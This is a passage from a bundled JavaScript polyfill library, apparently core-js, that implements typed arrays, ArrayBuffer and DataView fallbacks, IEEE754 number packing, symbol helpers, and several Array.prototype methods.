, $GOPD = _dereq_(70)
, dP = $DP.f
, gOPD = $GOPD.f
, RangeError = global.RangeError
, TypeError = global.TypeError
, Uint8Array = global.Uint8Array
, ARRAY_BUFFER = 'ArrayBuffer'
, SHARED_BUFFER = 'Shared' + ARRAY_BUFFER
, BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT'
, PROTOTYPE = 'prototype'
, ArrayProto = Array[PROTOTYPE]
, $ArrayBuffer = $buffer.ArrayBuffer
, $DataView = $buffer.DataView
, arrayForEach = createArrayMethod(0)
, arrayFilter = createArrayMethod(2)
, arraySome = createArrayMethod(3)
, arrayEvery = createArrayMethod(4)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, arrayIncludes = createArrayIncludes(true)
, arrayIndexOf = createArrayIncludes(false)
, arrayValues = ArrayIterators.values
, arrayKeys = ArrayIterators.keys
, arrayEntries = ArrayIterators.entries
, arrayLastIndexOf = ArrayProto.lastIndexOf
, arrayReduce = ArrayProto.reduce
, arrayReduceRight = ArrayProto.reduceRight
, arrayJoin = ArrayProto.join
, arraySort = ArrayProto.sort
, arraySlice = ArrayProto.slice
, arrayToString = ArrayProto.toString
, arrayToLocaleString = ArrayProto.toLocaleString
, ITERATOR = wks('iterator')
, TAG = wks('toStringTag')
, TYPED_CONSTRUCTOR = uid('typed_constructor')
, DEF_CONSTRUCTOR = uid('def_constructor')
, ALL_CONSTRUCTORS = $typed.CONSTR
, TYPED_ARRAY = $typed.TYPED
, VIEW = $typed.VIEW
, WRONG_LENGTH = 'Wrong length!';
var $map = createArrayMethod(1, function(O, length){
return allocate(speciesConstructor(O, O[DEF_CONSTRUCTOR]), length);
});
var LITTLE_ENDIAN = fails(function(){
return new Uint8Array(new Uint16Array([1]).buffer)[0] === 1;
});
var FORCED_SET = !!Uint8Array && !!Uint8Array[PROTOTYPE].set && fails(function(){
new Uint8Array(1).set({});
});
var strictToLength = function(it, SAME){
if(it === undefined)throw TypeError(WRONG_LENGTH);
var number = +it
, length = toLength(it);
if(SAME && !same(number, length))throw RangeError(WRONG_LENGTH);
return length;
};
var toOffset = function(it, BYTES){
var offset = toInteger(it);
if(offset < 0 || offset % BYTES)throw RangeError('Wrong offset!');
return offset;
};
var validate = function(it){
if(isObject(it) && TYPED_ARRAY in it)return it;
throw TypeError(it + ' is not a typed array!');
};
var allocate = function(C, length){
if(!(isObject(C) && TYPED_CONSTRUCTOR in C)){
throw TypeError('It is not a typed array constructor!');
} return new C(length);
};
var speciesFromList = function(O, list){
return fromList(speciesConstructor(O, O[DEF_CONSTRUCTOR]), list);
};
var fromList = function(C, list){
var index = 0
, length = list.length
, result = allocate(C, length);
while(length > index)result[index] = list[index++];
return result;
};
var addGetter = function(it, key, internal){
dP(it, key, {get: function(){ return this._d[internal]; }});
};
var $from = function from(source /*, mapfn, thisArg */){
var O = toObject(source)
, aLen = arguments.length
, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, iterFn = getIterFn(O)
, i, length, values, result, step, iterator;
if(iterFn != undefined && !isArrayIter(iterFn)){
for(iterator = iterFn.call(O), values = [], i = 0; !(step = iterator.next()).done; i++){
values.push(step.value);
} O = values;
}
if(mapping && aLen > 2)mapfn = ctx(mapfn, arguments[2], 2);
for(i = 0, length = toLength(O.length), result = allocate(this, length); length > i; i++){
result[i] = mapping ? mapfn(O[i], i) : O[i];
}
return result;
};
var $of = function of(/*...items*/){
var index = 0
, length = arguments.length
, result = allocate(this, length);
while(length > index)result[index] = arguments[index++];
return result;
};
// iOS Safari 6.x fails here
var TO_LOCALE_BUG = !!Uint8Array && fails(function(){ arrayToLocaleString.call(new Uint8Array(1)); });
var $toLocaleString = function toLocaleString(){
return arrayToLocaleString.apply(TO_LOCALE_BUG ? arraySlice.call(validate(this)) : validate(this), arguments);
};
var proto = {
copyWithin: function copyWithin(target, start /*, end */){
return arrayCopyWithin.call(validate(this), target, start, arguments.length > 2 ? arguments[2] : undefined);
},
every: function every(callbackfn /*, thisArg */){
return arrayEvery(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
fill: function fill(value /*, start, end */){ // eslint-disable-line no-unused-vars
return arrayFill.apply(validate(this), arguments);
},
filter: function filter(callbackfn /*, thisArg */){
return speciesFromList(this, arrayFilter(validate(this), callbackfn,
arguments.length > 1 ? arguments[1] : undefined));
},
find: function find(predicate /*, thisArg */){
return arrayFind(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
findIndex: function findIndex(predicate /*, thisArg */){
return arrayFindIndex(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
forEach: function forEach(callbackfn /*, thisArg */){
arrayForEach(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
indexOf: function indexOf(searchElement /*, fromIndex */){
return arrayIndexOf(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
includes: function includes(searchElement /*, fromIndex */){
return arrayIncludes(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
join: function join(separator){ // eslint-disable-line no-unused-vars
return arrayJoin.apply(validate(this), arguments);
},
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex */){ // eslint-disable-line no-unused-vars
return arrayLastIndexOf.apply(validate(this), arguments);
},
map: function map(mapfn /*, thisArg */){
return $map(validate(this), mapfn, arguments.length > 1 ? arguments[1] : undefined);
},
reduce: function reduce(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduce.apply(validate(this), arguments);
},
reduceRight: function reduceRight(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduceRight.apply(validate(this), arguments);
},
reverse: function reverse(){
var that = this
, length = validate(that).length
, middle = Math.floor(length / 2)
, index = 0
, value;
while(index < middle){
value = that[index];
that[index++] = that[--length];
that[length] = value;
} return that;
},
some: function some(callbackfn /*, thisArg */){
return arraySome(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
sort: function sort(comparefn){
return arraySort.call(validate(this), comparefn);
},
subarray: function subarray(begin, end){
var O = validate(this)
, length = O.length
, $begin = toIndex(begin, length);
return new (speciesConstructor(O, O[DEF_CONSTRUCTOR]))(
O.buffer,
O.byteOffset + $begin * O.BYTES_PER_ELEMENT,
toLength((end === undefined ? length : toIndex(end, length)) - $begin)
);
}
};
var $slice = function slice(start, end){
return speciesFromList(this, arraySlice.call(validate(this), start, end));
};
var $set = function set(arrayLike /*, offset */){
validate(this);
var offset = toOffset(arguments[1], 1)
, length = this.length
, src = toObject(arrayLike)
, len = toLength(src.length)
, index = 0;
if(len + offset > length)throw RangeError(WRONG_LENGTH);
while(index < len)this[offset + index] = src[index++];
};
var $iterators = {
entries: function entries(){
return arrayEntries.call(validate(this));
},
keys: function keys(){
return arrayKeys.call(validate(this));
},
values: function values(){
return arrayValues.call(validate(this));
}
};
var isTAIndex = function(target, key){
return isObject(target)
&& target[TYPED_ARRAY]
&& typeof key != 'symbol'
&& key in target
&& String(+key) == String(key);
};
var $getDesc = function getOwnPropertyDescriptor(target, key){
return isTAIndex(target, key = toPrimitive(key, true))
? propertyDesc(2, target[key])
: gOPD(target, key);
};
var $setDesc = function defineProperty(target, key, desc){
if(isTAIndex(target, key = toPrimitive(key, true))
&& isObject(desc)
&& has(desc, 'value')
&& !has(desc, 'get')
&& !has(desc, 'set')
// TODO: add validation descriptor w/o calling accessors
&& !desc.configurable
&& (!has(desc, 'writable') || desc.writable)
&& (!has(desc, 'enumerable') || desc.enumerable)
){
target[key] = desc.value;
return target;
} else return dP(target, key, desc);
};
if(!ALL_CONSTRUCTORS){
$GOPD.f = $getDesc;
$DP.f = $setDesc;
}
$export($export.S + $export.F * !ALL_CONSTRUCTORS, 'Object', {
getOwnPropertyDescriptor: $getDesc,
defineProperty: $setDesc
});
if(fails(function(){ arrayToString.call({}); })){
arrayToString = arrayToLocaleString = function toString(){
return arrayJoin.call(this);
}
}
var $TypedArrayPrototype$ = redefineAll({}, proto);
redefineAll($TypedArrayPrototype$, $iterators);
hide($TypedArrayPrototype$, ITERATOR, $iterators.values);
redefineAll($TypedArrayPrototype$, {
slice: $slice,
set: $set,
constructor: function(){ /* noop */ },
toString: arrayToString,
toLocaleString: $toLocaleString
});
addGetter($TypedArrayPrototype$, 'buffer', 'b');
addGetter($TypedArrayPrototype$, 'byteOffset', 'o');
addGetter($TypedArrayPrototype$, 'byteLength', 'l');
addGetter($TypedArrayPrototype$, 'length', 'e');
dP($TypedArrayPrototype$, TAG, {
get: function(){ return this[TYPED_ARRAY]; }
});
module.exports = function(KEY, BYTES, wrapper, CLAMPED){
CLAMPED = !!CLAMPED;
var NAME = KEY + (CLAMPED ? 'Clamped' : '') + 'Array'
, ISNT_UINT8 = NAME != 'Uint8Array'
, GETTER = 'get' + KEY
, SETTER = 'set' + KEY
, TypedArray = global[NAME]
, Base = TypedArray || {}
, TAC = TypedArray && getPrototypeOf(TypedArray)
, FORCED = !TypedArray || !$typed.ABV
, O = {}
, TypedArrayPrototype = TypedArray && TypedArray[PROTOTYPE];
var getter = function(that, index){
var data = that._d;
return data.v[GETTER](index * BYTES + data.o, LITTLE_ENDIAN);
};
var setter = function(that, index, value){
var data = that._d;
if(CLAMPED)value = (value = Math.round(value)) < 0 ? 0 : value > 0xff ? 0xff : value & 0xff;
data.v[SETTER](index * BYTES + data.o, value, LITTLE_ENDIAN);
};
var addElement = function(that, index){
dP(that, index, {
get: function(){
return getter(this, index);
},
set: function(value){
return setter(this, index, value);
},
enumerable: true
});
};
if(FORCED){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME, '_d');
var index = 0
, offset = 0
, buffer, byteLength, length, klass;
if(!isObject(data)){
length = strictToLength(data, true)
byteLength = length * BYTES;
buffer = new $ArrayBuffer(byteLength);
} else if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
buffer = data;
offset = toOffset($offset, BYTES);
var $len = data.byteLength;
if($length === undefined){
if($len % BYTES)throw RangeError(WRONG_LENGTH);
byteLength = $len - offset;
if(byteLength < 0)throw RangeError(WRONG_LENGTH);
} else {
byteLength = toLength($length) * BYTES;
if(byteLength + offset > $len)throw RangeError(WRONG_LENGTH);
}
length = byteLength / BYTES;
} else if(TYPED_ARRAY in data){
return fromList(TypedArray, data);
} else {
return $from.call(TypedArray, data);
}
hide(that, '_d', {
b: buffer,
o: offset,
l: byteLength,
e: length,
v: new $DataView(buffer)
});
while(index < length)addElement(that, index++);
});
TypedArrayPrototype = TypedArray[PROTOTYPE] = create($TypedArrayPrototype$);
hide(TypedArrayPrototype, 'constructor', TypedArray);
} else if(!$iterDetect(function(iter){
// V8 works with iterators, but fails in many other cases
// https://code.google.com/p/v8/issues/detail?id=4552
new TypedArray(null); // eslint-disable-line no-new
new TypedArray(iter); // eslint-disable-line no-new
}, true)){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME);
var klass;
// `ws` module bug, temporarily remove validation length for Uint8Array
// https://github.com/websockets/ws/pull/645
if(!isObject(data))return new Base(strictToLength(data, ISNT_UINT8));
if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
return $length !== undefined
? new Base(data, toOffset($offset, BYTES), $length)
: $offset !== undefined
? new Base(data, toOffset($offset, BYTES))
: new Base(data);
}
if(TYPED_ARRAY in data)return fromList(TypedArray, data);
return $from.call(TypedArray, data);
});
arrayForEach(TAC !== Function.prototype ? gOPN(Base).concat(gOPN(TAC)) : gOPN(Base), function(key){
if(!(key in TypedArray))hide(TypedArray, key, Base[key]);
});
TypedArray[PROTOTYPE] = TypedArrayPrototype;
if(!LIBRARY)TypedArrayPrototype.constructor = TypedArray;
}
var $nativeIterator = TypedArrayPrototype[ITERATOR]
, CORRECT_ITER_NAME = !!$nativeIterator && ($nativeIterator.name == 'values' || $nativeIterator.name == undefined)
, $iterator = $iterators.values;
hide(TypedArray, TYPED_CONSTRUCTOR, true);
hide(TypedArrayPrototype, TYPED_ARRAY, NAME);
hide(TypedArrayPrototype, VIEW, true);
hide(TypedArrayPrototype, DEF_CONSTRUCTOR, TypedArray);
if(CLAMPED ? new TypedArray(1)[TAG] != NAME : !(TAG in TypedArrayPrototype)){
dP(TypedArrayPrototype, TAG, {
get: function(){ return NAME; }
});
}
O[NAME] = TypedArray;
$export($export.G + $export.W + $export.F * (TypedArray != Base), O);
$export($export.S, NAME, {
BYTES_PER_ELEMENT: BYTES,
from: $from,
of: $of
});
if(!(BYTES_PER_ELEMENT in TypedArrayPrototype))hide(TypedArrayPrototype, BYTES_PER_ELEMENT, BYTES);
$export($export.P, NAME, proto);
setSpecies(NAME);
$export($export.P + $export.F * FORCED_SET, NAME, {set: $set});
$export($export.P + $export.F * !CORRECT_ITER_NAME, NAME, $iterators);
$export($export.P + $export.F * (TypedArrayPrototype.toString != arrayToString), NAME, {toString: arrayToString});
$export($export.P + $export.F * fails(function(){
new TypedArray(1).slice();
}), NAME, {slice: $slice});
$export($export.P + $export.F * (fails(function(){
return [1, 2].toLocaleString() != new TypedArray([1, 2]).toLocaleString()
}) || !fails(function(){
TypedArrayPrototype.toLocaleString.call([1, 2]);
})), NAME, {toLocaleString: $toLocaleString});
Iterators[NAME] = CORRECT_ITER_NAME ? $nativeIterator : $iterator;
if(!LIBRARY && !CORRECT_ITER_NAME)hide(TypedArrayPrototype, ITERATOR, $iterator);
};
} else module.exports = function(){ /* empty */ };
},{"105":105,"106":106,"108":108,"109":109,"11":11,"110":110,"112":112,"113":113,"114":114,"117":117,"118":118,"119":119,"12":12,"131":131,"17":17,"25":25,"28":28,"32":32,"34":34,"38":38,"39":39,"40":40,"46":46,"48":48,"49":49,"54":54,"56":56,"58":58,"6":6,"66":66,"67":67,"70":70,"72":72,"74":74,"8":8,"85":85,"86":86,"89":89,"9":9,"91":91,"95":95}],112:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, DESCRIPTORS = _dereq_(28)
, LIBRARY = _dereq_(58)
, $typed = _dereq_(113)
, hide = _dereq_(40)
, redefineAll = _dereq_(86)
, fails = _dereq_(34)
, anInstance = _dereq_(6)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, gOPN = _dereq_(72).f
, dP = _dereq_(67).f
, arrayFill = _dereq_(9)
, setToStringTag = _dereq_(92)
, ARRAY_BUFFER = 'ArrayBuffer'
, DATA_VIEW = 'DataView'
, PROTOTYPE = 'prototype'
, WRONG_LENGTH = 'Wrong length!'
, WRONG_INDEX = 'Wrong index!'
, $ArrayBuffer = global[ARRAY_BUFFER]
, $DataView = global[DATA_VIEW]
, Math = global.Math
, parseInt = global.parseInt
, RangeError = global.RangeError
, Infinity = global.Infinity
, BaseBuffer = $ArrayBuffer
, abs = Math.abs
, pow = Math.pow
, min = Math.min
, floor = Math.floor
, log = Math.log
, LN2 = Math.LN2
, BUFFER = 'buffer'
, BYTE_LENGTH = 'byteLength'
, BYTE_OFFSET = 'byteOffset'
, $BUFFER = DESCRIPTORS ? '_b' : BUFFER
, $LENGTH = DESCRIPTORS ? '_l' : BYTE_LENGTH
, $OFFSET = DESCRIPTORS ? '_o' : BYTE_OFFSET;
// IEEE754 conversions based on https://github.com/feross/ieee754
var packIEEE754 = function(value, mLen, nBytes){
var buffer = Array(nBytes)
, eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, rt = mLen === 23 ? pow(2, -24) - pow(2, -77) : 0
, i = 0
, s = value < 0 || value === 0 && 1 / value < 0 ? 1 : 0
, e, m, c;
value = abs(value)
if(value != value || value === Infinity){
m = value != value ? 1 : 0;
e = eMax;
} else {
e = floor(log(value) / LN2);
if(value * (c = pow(2, -e)) < 1){
e--;
c *= 2;
}
if(e + eBias >= 1){
value += rt / c;
} else {
value += rt * pow(2, 1 - eBias);
}
if(value * c >= 2){
e++;
c /= 2;
}
if(e + eBias >= eMax){
m = 0;
e = eMax;
} else if(e + eBias >= 1){
m = (value * c - 1) * pow(2, mLen);
e = e + eBias;
} else {
m = value * pow(2, eBias - 1) * pow(2, mLen);
e = 0;
}
}
for(; mLen >= 8; buffer[i++] = m & 255, m /= 256, mLen -= 8);
e = e << mLen | m;
eLen += mLen;
for(; eLen > 0; buffer[i++] = e & 255, e /= 256, eLen -= 8);
buffer[--i] |= s * 128;
return buffer;
};
var unpackIEEE754 = function(buffer, mLen, nBytes){
var eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, nBits = eLen - 7
, i = nBytes - 1
, s = buffer[i--]
, e = s & 127
, m;
s >>= 7;
for(; nBits > 0; e = e * 256 + buffer[i], i--, nBits -= 8);
m = e & (1 << -nBits) - 1;
e >>= -nBits;
nBits += mLen;
for(; nBits > 0; m = m * 256 + buffer[i], i--, nBits -= 8);
if(e === 0){
e = 1 - eBias;
} else if(e === eMax){
return m ? NaN : s ? -Infinity : Infinity;
} else {
m = m + pow(2, mLen);
e = e - eBias;
} return (s ? -1 : 1) * m * pow(2, e - mLen);
};
var unpackI32 = function(bytes){
return bytes[3] << 24 | bytes[2] << 16 | bytes[1] << 8 | bytes[0];
};
var packI8 = function(it){
return [it & 0xff];
};
var packI16 = function(it){
return [it & 0xff, it >> 8 & 0xff];
};
var packI32 = function(it){
return [it & 0xff, it >> 8 & 0xff, it >> 16 & 0xff, it >> 24 & 0xff];
};
var packF64 = function(it){
return packIEEE754(it, 52, 8);
};
var packF32 = function(it){
return packIEEE754(it, 23, 4);
};
var addGetter = function(C, key, internal){
dP(C[PROTOTYPE], key, {get: function(){ return this[internal]; }});
};
var get = function(view, bytes, index, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = store.slice(start, start + bytes);
return isLittleEndian ? pack : pack.reverse();
};
var set = function(view, bytes, index, conversion, value, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = conversion(+value);
for(var i = 0; i < bytes; i++)store[start + i] = pack[isLittleEndian ? i : bytes - i - 1];
};
var validateArrayBufferArguments = function(that, length){
anInstance(that, $ArrayBuffer, ARRAY_BUFFER);
var numberLength = +length
, byteLength = toLength(numberLength);
if(numberLength != byteLength)throw RangeError(WRONG_LENGTH);
return byteLength;
};
if(!$typed.ABV){
$ArrayBuffer = function ArrayBuffer(length){
var byteLength = validateArrayBufferArguments(this, length);
this._b = arrayFill.call(Array(byteLength), 0);
this[$LENGTH] = byteLength;
};
$DataView = function DataView(buffer, byteOffset, byteLength){
anInstance(this, $DataView, DATA_VIEW);
anInstance(buffer, $ArrayBuffer, DATA_VIEW);
var bufferLength = buffer[$LENGTH]
, offset = toInteger(byteOffset);
if(offset < 0 || offset > bufferLength)throw RangeError('Wrong offset!');
byteLength = byteLength === undefined ? bufferLength - offset : toLength(byteLength);
if(offset + byteLength > bufferLength)throw RangeError(WRONG_LENGTH);
this[$BUFFER] = buffer;
this[$OFFSET] = offset;
this[$LENGTH] = byteLength;
};
if(DESCRIPTORS){
addGetter($ArrayBuffer, BYTE_LENGTH, '_l');
addGetter($DataView, BUFFER, '_b');
addGetter($DataView, BYTE_LENGTH, '_l');
addGetter($DataView, BYTE_OFFSET, '_o');
}
redefineAll($DataView[PROTOTYPE], {
getInt8: function getInt8(byteOffset){
return get(this, 1, byteOffset)[0] << 24 >> 24;
},
getUint8: function getUint8(byteOffset){
return get(this, 1, byteOffset)[0];
},
getInt16: function getInt16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return (bytes[1] << 8 | bytes[0]) << 16 >> 16;
},
getUint16: function getUint16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return bytes[1] << 8 | bytes[0];
},
getInt32: function getInt32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1]));
},
getUint32: function getUint32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1])) >>> 0;
},
getFloat32: function getFloat32(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 4, byteOffset, arguments[1]), 23, 4);
},
getFloat64: function getFloat64(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 8, byteOffset, arguments[1]), 52, 8);
},
setInt8: function setInt8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setUint8: function setUint8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setInt16: function setInt16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setUint16: function setUint16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setInt32: function setInt32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setUint32: function setUint32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setFloat32: function setFloat32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packF32, value, arguments[2]);
},
setFloat64: function setFloat64(byteOffset, value /*, littleEndian */){
set(this, 8, byteOffset, packF64, value, arguments[2]);
}
});
} else {
if(!fails(function(){
new $ArrayBuffer; // eslint-disable-line no-new
}) || !fails(function(){
new $ArrayBuffer(.5); // eslint-disable-line no-new
})){
$ArrayBuffer = function ArrayBuffer(length){
return new BaseBuffer(validateArrayBufferArguments(this, length));
};
var ArrayBufferProto = $ArrayBuffer[PROTOTYPE] = BaseBuffer[PROTOTYPE];
for(var keys = gOPN(BaseBuffer), j = 0, key; keys.length > j; ){
if(!((key = keys[j++]) in $ArrayBuffer))hide($ArrayBuffer, key, BaseBuffer[key]);
};
if(!LIBRARY)ArrayBufferProto.constructor = $ArrayBuffer;
}
// iOS Safari 7.x bug
var view = new $DataView(new $ArrayBuffer(2))
, $setInt8 = $DataView[PROTOTYPE].setInt8;
view.setInt8(0, 2147483648);
view.setInt8(1, 2147483649);
if(view.getInt8(0) || !view.getInt8(1))redefineAll($DataView[PROTOTYPE], {
setInt8: function setInt8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
},
setUint8: function setUint8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
}
}, true);
}
setToStringTag($ArrayBuffer, ARRAY_BUFFER);
setToStringTag($DataView, DATA_VIEW);
hide($DataView[PROTOTYPE], $typed.VIEW, true);
exports[ARRAY_BUFFER] = $ArrayBuffer;
exports[DATA_VIEW] = $DataView;
},{"106":106,"108":108,"113":113,"28":28,"34":34,"38":38,"40":40,"58":58,"6":6,"67":67,"72":72,"86":86,"9":9,"92":92}],113:[function(_dereq_,module,exports){
var global = _dereq_(38)
, hide = _dereq_(40)
, uid = _dereq_(114)
, TYPED = uid('typed_array')
, VIEW = uid('view')
, ABV = !!(global.ArrayBuffer && global.DataView)
, CONSTR = ABV
, i = 0, l = 9, Typed;
var TypedArrayConstructors = (
'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array'
).split(',');
while(i < l){
if(Typed = global[TypedArrayConstructors[i++]]){
hide(Typed.prototype, TYPED, true);
hide(Typed.prototype, VIEW, true);
} else CONSTR = false;
}
module.exports = {
ABV: ABV,
CONSTR: CONSTR,
TYPED: TYPED,
VIEW: VIEW
};
},{"114":114,"38":38,"40":40}],114:[function(_dereq_,module,exports){
var id = 0
, px = Math.random();
module.exports = function(key){
return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));
};
},{}],115:[function(_dereq_,module,exports){
var global = _dereq_(38)
, core = _dereq_(23)
, LIBRARY = _dereq_(58)
, wksExt = _dereq_(116)
, defineProperty = _dereq_(67).f;
module.exports = function(name){
var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {});
if(name.charAt(0) != '_' && !(name in $Symbol))defineProperty($Symbol, name, {value: wksExt.f(name)});
};
},{"116":116,"23":23,"38":38,"58":58,"67":67}],116:[function(_dereq_,module,exports){
exports.f = _dereq_(117);
},{"117":117}],117:[function(_dereq_,module,exports){
var store = _dereq_(94)('wks')
, uid = _dereq_(114)
, Symbol = _dereq_(38).Symbol
, USE_SYMBOL = typeof Symbol == 'function';
var $exports = module.exports = function(name){
return store[name] || (store[name] =
USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
};
$exports.store = store;
},{"114":114,"38":38,"94":94}],118:[function(_dereq_,module,exports){
var classof = _dereq_(17)
, ITERATOR = _dereq_(117)('iterator')
, Iterators = _dereq_(56);
module.exports = _dereq_(23).getIteratorMethod = function(it){
if(it != undefined)return it[ITERATOR]
|| it['@@iterator']
|| Iterators[classof(it)];
};
},{"117":117,"17":17,"23":23,"56":56}],119:[function(_dereq_,module,exports){
var classof = _dereq_(17)
, ITERATOR = _dereq_(117)('iterator')
, Iterators = _dereq_(56);
module.exports = _dereq_(23).isIterable = function(it){
var O = Object(it);
return O[ITERATOR] !== undefined
|| '@@iterator' in O
|| Iterators.hasOwnProperty(classof(O));
};
},{"117":117,"17":17,"23":23,"56":56}],120:[function(_dereq_,module,exports){
// https://github.com/benjamingr/RexExp.escape
var $export = _dereq_(32)
, $re = _dereq_(88)(/[\\^$*+?.()|[\]{}]/g, '\\$&');
$export($export.S, 'RegExp', {escape: function escape(it){ return $re(it); }});
},{"32":32,"88":88}],121:[function(_dereq_,module,exports){
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
var $export = _dereq_(32);
$export($export.P, 'Array', {copyWithin: _dereq_(8)});
_dereq_(5)('copyWithin');
},{"32":32,"5":5,"8":8}],122:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $every = _dereq_(12)(4);
$export($export.P + $export.F * !_dereq_(96)([].every, true), 'Array', {
// 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg])
every: function every(callbackfn /* , thisArg */){
return $every(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],123:[function(_dereq_,module,exports){
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
var $export = _dereq_(32);
$export($export.P, 'Array', {fill: _dereq_(9)});
_dereq_(5)('fill');
},{"32":32,"5":5,"9":9}],124:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $filter = _dereq_(12)(2);
$export($export.P + $export.F * !_dereq_(96)([].filter, true), 'Array', {
// 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg])
filter: function filter(callbackfn /* , thisArg */){
return $filter(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],125:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined)
var $export = _dereq_(32)
, $find = _dereq_(12)(6)
, KEY = 'findIndex'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
findIndex: function findIndex(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)(KEY);
},{"12":12,"32":32,"5":5}],126:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined)
var $export = _dereq_(32)
, $find = _dereq_(12)(5)
, KEY = 'find'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
find: function find(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)(KEY);
},{"12":12,"32":32,"5":5}],127:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $forEach = _dereq_(12)(0)
, STRICT = _dereq_(96)([].forEach, true);
$export($export.P + $export.F * !STRICT, 'Array', {
// 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg])
forEach: function forEach(callbackfn /* , thisArg */){
return $forEach(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],128:[function(_dereq_,module,exports){
'use strict';
var ctx = _dereq_(25)
, $export = _dereq_(32)
, toObject = _dereq_(109)
, call = _dereq_(51)
, isArrayIter = _dereq_(46)
, toLength = _dereq_(108)
, createProperty = _dereq_(24)
, getIterFn = _dereq_(118);
$export($export.S + $export.F * !_dereq_(54)(function(iter){ Array.from(iter); }), 'Array', {
// 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined)
from: function from(arrayLike/*, mapfn = undefined, thisArg = undefined*/){
var O = toObject(arrayLike)
, C = typeof this == 'function' ? this : Array
, aLen = arguments.length
, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, index = 0
, iterFn = getIterFn(O)
, length, result, step, iterator;
if(mapping)mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2);
// if object isn't iterable or it's array with default iterator - use simple case
if(iterFn != undefined && !(C == Array && isArrayIter(iterFn))){
for(iterator = iterFn.call(O), result = new C; !(step = iterator.next()).done; index++){
createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value);
}
} else {
length = toLength(O.length);
for(result = new C(length); length > index; index++){
createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]);
}
